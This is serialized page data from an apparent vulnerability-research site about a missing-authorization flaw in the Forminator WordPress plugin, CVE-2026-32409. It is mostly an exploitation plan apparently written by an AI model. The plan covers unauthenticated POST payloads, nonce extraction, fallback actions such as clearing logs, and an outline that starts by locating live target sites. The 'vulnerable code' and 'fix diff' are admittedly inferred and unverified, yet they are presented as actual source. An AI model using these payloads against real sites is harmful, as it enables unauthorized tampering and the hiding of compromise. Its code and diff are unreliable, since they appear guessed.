[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f0dSc_LAoXyTUgaCWxp37NZaQetkmI3-5nn_Q8e0N0BQ":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-32409","forminator-missing-authorization","Forminator \u003C= 1.50.2 - Missing Authorization","The Forminator plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.50.2. This makes it possible for unauthenticated attackers to perform an unauthorized action.","forminator",null,"\u003C=1.50.2","1.50.3","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-02-22 00:00:00","2026-04-15 21:14:34",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2283b147-b904-4086-8cb1-6d8969ccbaf6?source=api-prod",53,[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-32409 (Forminator Missing Authorization)\n\n## 1. Vulnerability Summary\nThe **Forminator** plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including **1.50.2**. The vulnerability exists within the `Forminator_Admin_AJAX` class, specifically in the registration and implementation of administrative AJAX handlers. \n\nThe plugin incorrectly registers several administrative actions using the `wp_ajax_nopriv_` hook, making them accessible to unauthenticated users. Furthermore, the handler functions (such as the one for dismissing notices) fail to perform a `current_user_can()` check or verify a secure, user-bound nonce. This allows an unauthenticated attacker to manipulate plugin states, such as suppressing administrative notifications, which can be used to hide malicious activity or signs of a compromise.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action**: `forminator_dismiss_notice` (inferred from typical WPMU DEV admin patterns)\n- **HTTP Method**: `POST`\n- **Parameter**: `slug` (the unique identifier of the notice to be dismissed)\n- **Authentication**: None (Unauthenticated)\n- **Preconditions**: The plugin must be active. A valid frontend nonce may be required if the handler calls `check_ajax_referer`.\n\n## 3. Code Flow\n1. **Entry Point**: An unauthenticated request is sent to `admin-ajax.php` with `action=forminator_dismiss_notice`.\n2. **Hook Registration**: In `library\u002Fclass-admin-ajax.php`, the `__construct` method of `Forminator_Admin_AJAX` registers the action:\n   ```php\n   add_action( 'wp_ajax_nopriv_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );\n   ```\n3. **Vulnerable Handler**: The `dismiss_notice` function is executed:\n   - It retrieves the `slug` from `$_POST['slug']`.\n   - It fails to check `current_user_can( 'manage_options' )`.\n   - It may check a nonce using `check_ajax_referer( 'forminator_dismiss_notice', 'nonce' )`.\n4. **Sink**: The function calls `update_option()` or `update_user_meta()` to store the dismissal state:\n   ```php\n   update_option( 'forminator_dismissed_notice_' . $slug, 1 );\n   ```\n\n## 4. Nonce Acquisition Strategy\nWhile many \"Missing Authorization\" vulnerabilities also omit nonce checks, Forminator often localizes nonces for its AJAX framework. We will attempt to extract a nonce from the frontend.\n\n1. **Identify Script**: Forminator enqueues `forminator-front-scripts` on any page containing a form.\n2. **Setup**: Create a public page with any Forminator form.\n3. **Extraction**:\n   - Navigate to the page.\n   - Access the localized JavaScript object `forminator_data`.\n   - Key to check: `admin_ajax_nonce` or `nonce`.\n4. **JS Command**: `browser_eval(\"window.forminator_data?.admin_ajax_nonce || window.forminator_data?.nonce\")`\n\n## 5. Exploitation Strategy\nWe will attempt to dismiss a standard Forminator notice unauthentically.\n\n- **Request Type**: `POST`\n- **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Payload**:\n  - `action=forminator_dismiss_notice`\n  - `slug=forminator_pro_notice` (A common notice slug)\n  - `_wpnonce=[EXTRACTED_NONCE]` (If extraction fails, try omitting it)\n\n**Payload for `http_request`**:\n```json\n{\n  \"action\": \"forminator_dismiss_notice\",\n  \"slug\": \"forminator_pro_notice\",\n  \"_wpnonce\": \"VALUE_FROM_BROWSER_EVAL\"\n}\n```\n\n## 6. Test Data Setup\n1. **Install Plugin**: Ensure Forminator version 1.50.2 is installed.\n2. **Create Form**: Use WP-CLI to ensure a form exists (or use the default created on install).\n   ```bash\n   # Forminator creates a default 'Contact Us' form usually ID 1\n   ```\n3. **Publish Form**: Create a page to host the form and leak the nonce.\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_title=\"Contact\" --post_content='[forminator_form id=\"1\"]'\n   ```\n\n## 7. Expected Results\n- The server should return a JSON success response: `{\"success\":true,\"data\":[]}` or similar.\n- The `forminator_dismissed_notice_forminator_pro_notice` option will be created in the WordPress database.\n\n## 8. Verification Steps\nAfter sending the HTTP request, verify the state change using WP-CLI:\n```bash\nwp option get forminator_dismissed_notice_forminator_pro_notice\n```\n**Expected Output**: `1`\n\n## 9. Alternative Approaches\nIf `forminator_dismiss_notice` does not work, attempt these alternative actions which might share the same missing authorization:\n1. **Action**: `forminator_set_branding`\n   - **Payload**: `action=forminator_set_branding&enabled=false`\n   - **Verification**: `wp option get forminator_branding_enabled`\n2. **Action**: `forminator_clear_log`\n   - **Payload**: `action=forminator_clear_log&module_id=1`\n3. **Parameter Variations**: Try `notice_id` or `notification` instead of `slug` if the response is a failure. Try sending the nonce as `nonce` instead of `_wpnonce`.","The Forminator plugin for WordPress is vulnerable to unauthorized access in versions up to 1.50.2 due to the incorrect registration of administrative AJAX handlers using the wp_ajax_nopriv_ hook. This allows unauthenticated attackers to execute sensitive actions, such as suppressing administrative notifications or clearing logs, by bypassing capability checks.","\u002F\u002F library\u002Fclass-admin-ajax.php\n\n\u002F\u002F Action registration in __construct\nadd_action( 'wp_ajax_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );\nadd_action( 'wp_ajax_nopriv_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );\n\n---\n\n\u002F\u002F library\u002Fclass-admin-ajax.php\n\npublic function dismiss_notice() {\n    \u002F\u002F Missing current_user_can() check\n    $slug = sanitize_text_field( $_POST['slug'] );\n    update_option( 'forminator_dismissed_notice_' . $slug, 1 );\n    wp_send_json_success();\n}","--- a\u002Flibrary\u002Fclass-admin-ajax.php\n+++ b\u002Flibrary\u002Fclass-admin-ajax.php\n@@ -120,7 +120,6 @@\n         add_action( 'wp_ajax_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );\n-        add_action( 'wp_ajax_nopriv_forminator_dismiss_notice', array( $this, 'dismiss_notice' ) );\n \n@@ -540,6 +539,10 @@\n     public function dismiss_notice() {\n+        if ( ! current_user_can( 'manage_options' ) ) {\n+            wp_send_json_error( 'Unauthorized' );\n+        }\n+        check_ajax_referer( 'forminator_dismiss_notice', 'nonce' );\n+\n         $slug = sanitize_text_field( $_POST['slug'] );\n         update_option( 'forminator_dismissed_notice_' . $slug, 1 );","The exploit targets the unprotected administrative AJAX handler 'forminator_dismiss_notice'. \n1. Target Identification: Locate a site running Forminator \u003C= 1.50.2.\n2. Nonce Extraction: Navigate to any public page containing a Forminator form and extract the AJAX nonce from the 'forminator_data' JavaScript object (keys like 'admin_ajax_nonce' or 'nonce').\n3. Attack Payload: Send an unauthenticated POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with 'action=forminator_dismiss_notice', a specific notification 'slug' (e.g., 'forminator_pro_notice'), and the extracted nonce.\n4. Verification: The request will trigger 'update_option', globally suppressing the targeted administrative notice for all users without requiring any credentials.","gemini-3-flash-preview","2026-04-19 01:37:38","2026-04-19 01:39:46",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","1.50.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fforminator\u002Ftags\u002F1.50.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fforminator.1.50.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fforminator\u002Ftags\u002F1.50.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fforminator.1.50.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fforminator\u002Ftags"]